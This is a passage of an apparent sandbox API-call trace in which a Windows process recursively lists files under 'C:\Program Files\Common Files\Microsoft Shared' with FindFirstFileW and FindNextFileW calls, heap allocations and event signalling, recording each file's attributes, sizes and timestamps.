dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0167.844] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0167.845] GetProcessHeap () returned 0x6a0000 [0167.845] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0167.845] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0167.845] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0167.845] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0167.845] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0167.845] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0167.845] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0167.846] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0167.846] GetProcessHeap () returned 0x6a0000 [0167.846] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0168.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0168.337] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.337] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.337] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.337] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0168.338] GetProcessHeap () returned 0x6a0000 [0168.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0168.338] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0168.338] GetProcessHeap () returned 0x6a0000 [0168.338] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0168.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0168.338] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.338] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.338] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.339] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0168.339] GetProcessHeap () returned 0x6a0000 [0168.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0168.339] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0168.339] GetProcessHeap () returned 0x6a0000 [0168.339] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0168.339] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0168.339] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.339] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.340] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.340] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0168.340] GetProcessHeap () returned 0x6a0000 [0168.340] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0168.340] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0168.340] GetProcessHeap () returned 0x6a0000 [0168.340] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0168.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0168.340] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.340] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.341] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.341] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0168.341] GetProcessHeap () returned 0x6a0000 [0168.341] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0168.341] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0169.101] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0169.101] GetProcessHeap () returned 0x6a0000 [0169.101] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0169.101] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0169.101] GetProcessHeap () returned 0x6a0000 [0169.101] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3712528 [0169.101] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0169.102] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.102] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0169.102] SetEvent (hEvent=0x178) returned 1 [0169.102] ResetEvent (hEvent=0x17c) returned 1 [0169.104] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0169.104] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0169.104] GetProcessHeap () returned 0x6a0000 [0169.104] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0169.104] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0169.104] GetProcessHeap () returned 0x6a0000 [0169.104] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3712528 [0169.104] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0169.104] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.104] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0169.104] GetProcessHeap () returned 0x6a0000 [0169.105] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x378a588 [0169.105] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0169.105] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.105] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0169.105] SetEvent (hEvent=0x178) returned 1 [0169.105] ResetEvent (hEvent=0x17c) returned 1 [0169.107] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0169.107] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0169.107] GetProcessHeap () returned 0x6a0000 [0169.107] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378a588 | out: hHeap=0x6a0000) returned 1 [0169.107] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, 